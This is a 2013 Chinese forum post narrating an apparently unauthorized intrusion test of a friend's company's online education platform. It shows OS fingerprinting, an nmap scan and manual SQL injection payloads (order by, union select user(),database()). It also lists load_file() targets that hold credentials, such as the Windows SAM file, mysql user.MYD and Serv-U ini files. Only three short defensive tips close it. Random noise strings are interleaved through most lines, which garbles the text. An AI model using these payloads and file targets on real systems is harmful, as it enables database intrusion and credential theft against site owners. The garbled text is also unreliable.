找回密码
 立即注册
查看: 2728|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:3 N" S( y( J, B% ~0 }# F; }
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
# v6 U; K5 K" ~' ^" P第一步:获取需要的信息
' ]* k: O' {1 F& s+ q由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。& ?. y3 b3 t( ?1 l8 ?1 n! V
注:以下为保护特用XXX代替敏感信息2 A) Q$ ^# p0 Y) B" D, q
顺手先PING了一下他们的域名:
; A2 t6 m' m$ q0 @1 l3 yping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)& E, R6 j* P; I4 \8 C' g# S
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
8 v7 S+ ]# o4 F) V% u: b" x% t顺便了解一下TTL,学好基础知识才能一路顺风:# w+ Y9 ]+ R9 ]5 |, ]# d9 h
TTL:(Time To Live ) 生存时间
' l, m# b' o- }; l指定数据包被路由器丢弃之前允许通过的网段数量。
/ a, s' h0 |5 g/ O3 X. D. dTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
4 S8 a! `" a; V6 Y" b( q0 @5 q使用PING时涉及到的 ICMP 报文类型
& q2 i. c! F' }% P1 d一个为ICMP请求回显(ICMP Echo Request)
. O- ?7 R) _/ z* n: _2 o6 C2 [一个为ICMP回显应答(ICMP Echo Reply)
& I7 k: K5 o* E% D) y! X& WTTL 字段值可以帮助我们识别操作系统类型。+ ~3 y& v1 m+ X+ Q5 P
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
- s3 P, w3 v  ~) e2 }. r5 w+ y+ f7 UCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
  X0 \% Z& ^5 f& f& L. j微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128. X  U2 g6 n! y6 P; d8 Z3 V
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32  `. x3 @) j$ ~+ r; E# S2 x
当然,返回的TTL值是相同的2 M. P$ s+ o# @$ Y- ^9 S+ b/ e
但有些情况下有所特殊
% P6 t* u3 B6 l' r6 T+ h- s& ]6 RLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 642 A6 E) \( n+ Y( o3 n) U
FreeBSD 4.1, 4.0, 3.4;
& R% z/ l+ }! M) T! V/ P5 O* WSun Solaris 2.5.1, 2.6, 2.7, 2.8;
$ J: `$ R0 u/ @" X9 ]OpenBSD 2.6, 2.7,, c3 a- y* c1 f$ l6 R
NetBSD
0 x7 N8 I4 g. q8 M, u2 d$ R3 nHP UX 10.201 g* |4 M! I/ D" u
ICMP 回显应答的 TTL 字段值为 255
8 ^$ N) t; w& C% ?Windows 95/98/98SE5 K/ j  G# j& h6 z- g
Windows ME
# ?" O& I/ N) D' k1 g, N  o8 ]1 vICMP 回显应答的 TTL 字段值为 32! a% ?3 ]7 y8 h. U8 d( {
Windows NT4 WRKS
6 p6 F- g5 B0 QWindows NT4 Server2 F- j# V$ _& P
Windows 2000  u2 h: R. p/ t3 l' o( L: b& m& J
Windows XP
, h$ E1 _  l7 g$ I# B3 hICMP 回显应答的 TTL 字段值为 1280 Q1 E% ]& Y8 c# F% w* C/ `
这样,我们就可以通过这种方法来辨别操作系统
( c+ \1 K2 b5 ~# WTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255! Z- L% R$ L5 }9 q" `9 I
用NMAP扫描一下:
8 p6 h: c9 n2 Q6 |! I) v" I0 Mnmap -sT -O XXX.XXX.XXX.XXX0 k! N' ~3 r6 S9 q5 G
如果没有装WinPcap则会弹出提示:
# V; t9 T+ @9 @WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
7 v/ @! M1 N: c& W7 jade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(6 G+ E4 ?9 j, ]' y# Z4 D) w- }
) mode — Nmap may not function completely8 U! B  A: q& w7 f& Z  @% P3 k
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
; o- N. M" \5 P% V( S7 h  Fand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win! V% K, N) H4 C1 k
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an% b" A! I- w# K! [$ e
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
- S' W2 v$ J7 X; xersions, you may be able to take iphlpapi.dll from another system and place it i- {- J3 J# c, {. n9 V
n your system32 dir (e.g. c:\windows\system32).
2 r4 E5 X# f; s& MQUITTING!  n" A7 q  |6 P* p
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe: {* @+ v% e, E8 N3 e3 y% e# ?
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:2 ^4 v& V+ {6 v# `4 |6 E
Interesting ports on XXX.XXX.XXX.XXX:
% t5 R* R! V3 j7 {6 CNot shown: 986 closed ports7 h% n/ d  X% R2 U& [, m8 r: L; o- h
PORT     STATE    SERVICE. H/ T2 J. ~* S$ p5 _# y( W
21/tcp   open     ftp
4 o: {$ c5 l2 Z- W8 I22/tcp   open     ssh9 y, V4 Y" w" q3 p  A" N
23/tcp   open     telnet
# J+ O! K+ Y! u% ?# R80/tcp   open     http
. c6 C1 W! u- S/ K111/tcp  open     rpcbind( i' V: ]. T2 Z+ {7 f- j
135/tcp  filtered msrpc
" r/ M" K# {0 P  Q139/tcp  filtered netbios-ssn
4 b# P% F, |( t3 D, z: n445/tcp  filtered microsoft-ds( q) A" \1 q' M5 O9 o& P& R+ c, O
513/tcp  open     login
+ w2 X" g" H, H9 u# H; N! |514/tcp  open     shell
2 [) u9 Z2 Y$ \- X, Z8 ^4 O' p0 \593/tcp  filtered http-rpc-epmap4 U2 ?1 M2 e2 [  ]7 t
1720/tcp filtered H.323/Q.9316 r; _, f6 k& o$ b$ A: L+ A; ?5 K
3306/tcp open     mysql" X1 S# h8 \" V! V# P2 P
4444/tcp filtered krb524
$ h. `1 e% C; ]! P0 `; nDevice type: WAP
& \9 u/ J! B# r" g! Q: w8 L! QRunning: Linux 2.4.X
' z1 A! y' P: w- ^OS details: DD-WRT (Linux 2.4.35s), O" M+ `6 F* G7 u$ r$ M8 q. y% P
Network Distance: 13 hops
) C8 y3 W) i0 _. B" F: {. N" @看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
( p% O( Z3 L8 z5 b1 n2 Llogin as:4 I$ P( d0 v6 [! @3 v& p3 w  Q' I/ r) R
Telnet23端口也是开着的,用telnet 命令链接一下:- q& `& v* f: w( |5 t
telnet XXX.XXX.XXX.XXX
1 u6 n# ?9 A4 s' s4 }9 }! Z提示:$ [- Y' y& [+ N
Red Hat Enterprise Linux Server release 5.2 (Tikanga). T9 j5 n8 \  o; h' z$ u
Kernel 2.6.18-92.el5PAE on an i686
1 ?- B4 j1 h' j- o4 D' o! Elogin:- @4 H6 r- l1 ?
获取HTTP头信息:
5 i. j' D1 |; f9 u0 n0 a  g8 }/ v在本地执行如下PHP代码* a! G% }6 W  u1 x
<?php. N& P+ q& P5 B" o+ ~1 ~
$url = ‘XXX.XXX.XXX.XXX’;
* ~! X" }+ F4 p4 F8 j) Mprint_r(get_headers($url));" w! a2 |- P3 U  @1 Q, F' ^, t( p$ v2 V
print_r(get_headers($url, 1));
( O. ]* I5 W9 ]. U# g8 u?>
5 N1 a* y* \4 l1 ]" Z+ G7 J将以上代码保存为PHP文件,执行:# O+ d# R2 a+ \4 ~/ y$ B1 ?9 M9 U
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
1 M: t# E( \2 r9 u3 w) ^3 ~! o& a现在可以得出结论:; V; A0 B8 Q% }( K
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
* K7 P8 ]7 J/ ?$ X+ z3 G( N内核版本:Kernel 2.6.18-92.el5PAE on an i686: }$ ^7 Q1 m6 q
WEB服务器版本:nginx/0.7.61; U2 D9 C- Q/ l5 w9 r  P
第二步,开始测试寻找漏洞
) q  W9 S" n4 @* a4 a分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
5 |% \/ W6 L: o# m( I) F1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
: [$ c8 _# N4 y0 L, k2、测试方法:在地址后加 and 1=1 和 and 1=2 测试: L% i# {& Q! P0 u4 X$ `& E) x+ {& u& \
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
7 S) U+ ^6 k' I+ z: hhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误: x! K; J$ u4 }( T+ s( C; h
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续8 ?1 i4 R" Q/ T
3、手工注入:
& S- ^# {( S. l. j  O3 j. {' v6 y注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
+ P% |3 Z- g  T2 [( ^9 S3.1 猜测当前表字段数( t, K8 q+ l2 J& g+ {5 A
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
: j' V; m% Y. A# @& g( T此处猜测有个简单的算法,都是有技巧的吗,呵呵
; B. j3 R2 d; O" O4 }/ l算法简单如下:
4 G7 P4 Z! e" {  g第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;' ~7 R9 L1 D. h- S: K  d
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
9 R; v, o- P% H  E+ V$ {需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
& ?) H6 m: h7 n! v7 n: v) p- m" Y以此来判断,是否过界,配合取中算法猜出字段数。5 v# ?9 ~. H# K" g+ f. [8 Q
举例:
5 X& k$ U8 R  [; |# B& J4 _http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常3 k) x* n5 W& W. S; G3 n: _$ Q5 b
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
: I* d+ O* G' p% w7 r1 \此时3则为我们要找的字段数。
: I& e8 r3 w1 \) N( q. t' Z3.2 配合union联合查询字段在页面所位置2 Z9 H* O$ ?8 P8 {7 [
我们已经知道了字段数为3,此时则可以做如下操作:
& P/ }/ p( b/ ]3 D/ [http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3% O. y, i7 \, _- F% s
4 C  a* X0 X. @9 U4 [$ @
这样就可以测试到哪些字段在页面上有所显示了,如图:
% u+ k+ Y9 s/ y- A; ]0 `: ~* t! Q1 M. O7 o
3.3 查敏感信息: \; S- v5 z  R7 s
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
% R, C5 C- d& A0 }9 \; T! rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()1 m4 K8 n7 k: j# x9 R/ g& n5 i
3.3.1 先查数据库用户、数据库名,以备后用,如图:
7 }$ r8 Q  N0 k8 _) K* Q1 G
/ O' D& E+ m( W得到数据库用户为root、数据库名为DBxx;
  ]8 `7 \$ K8 |" }3.3.2 查配置文件2 T& O9 R- p6 D& c: v
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
5 _6 h0 O! y  n( w3 w8 e查看文件有一定的条件限制:0 M6 S9 X4 b2 k; v: \' y6 k
欲读取文件必须在服务器上
. A) R6 l8 V" W' n! J必须指定文件完整的路径  H6 T1 @8 F% l* p. m3 C) m: d
必须有权限读取并且文件必须完全可读
: `. b) k/ k2 p& B/ J* \: o欲读取文件必须小于 max_allowed_packet2 M, }- N8 U" v/ s6 g8 H: x' q
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
( A" }1 q; r) ]8 l$ t6 L常用的一些:1 A9 j  i! i/ r: J3 n/ a8 Y% Q, f
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
- f5 f6 q1 D5 `: [- v/usr/local/apache2/conf/httpd.conf0 f: E$ q2 b# d, U* d
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
$ b% x& |) l/ R- [  }2 t/usr/local/app/php5/lib/php.ini //PHP相关设置
% ?6 c: Q) \' s" B/etc/sysconfig/iptables //从中得到防火墙规则策略' j+ D& e8 b0 l2 }- \# _: L
/etc/httpd/conf/httpd.conf // apache配置文件  H" j: }% ^5 R3 U0 Q7 k
/etc/rsyncd.conf //同步程序配置文件
& O' d; }. X& y% s4 N% F/ y* H4 }/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP., b# M8 H( V8 E
/etc/my.cnf //mysql的配置文件
3 o/ s# ]3 X6 \6 l  b: L/etc/redhat-release //系统版本0 u: ^5 \0 k9 j3 G
/etc/issue
* n, k5 I) U2 j  b6 d. [6 U, x/etc/issue.net9 b! q( q2 y5 k- h9 ~' V6 T
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码+ o: ]7 u) _! i2 s6 Q
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
" s) p0 ]9 G: D5 f% ?& ~' Bc:\Program Files\Serv-U\ServUDaemon.ini) [- q) m. T3 B6 s& e6 W1 U6 |# C9 O# z
c:\windows\my.ini //MYSQL配置文件3 q' O8 x0 S4 ?/ s! ?* Q
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件, _9 R9 E3 }  p8 k! G
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,& h" q6 r. q9 E* `! M; j/ z0 [; ]# d
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
1 M# c* n# Y+ p/ \5 B% v% T1 \c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
) R) S; b1 U9 ^c:\Program Files\RhinoSoft.com\ServUDaemon.exe
4 m# ?( r, I1 Z7 |) N) FC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件) k7 G- p: ~% d  T) G
//存储了pcAnywhere的登陆密码5 y+ H- n  K/ P% Z. ^9 K9 @# `2 m
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。1 ^5 ?* K$ b" U! a; E" D" g7 O
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。3 O+ {( _* o$ c$ B6 o& V) x1 T0 H
最后:防范措施
6 R4 b  |; j4 q/ ]2 n! ?0 u/ o% `1、修复PHP注入漏洞;9 D+ t' j* Y6 r
2、Mysql使用普通权限的用户;$ _" Y6 b  i1 b/ F* L
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表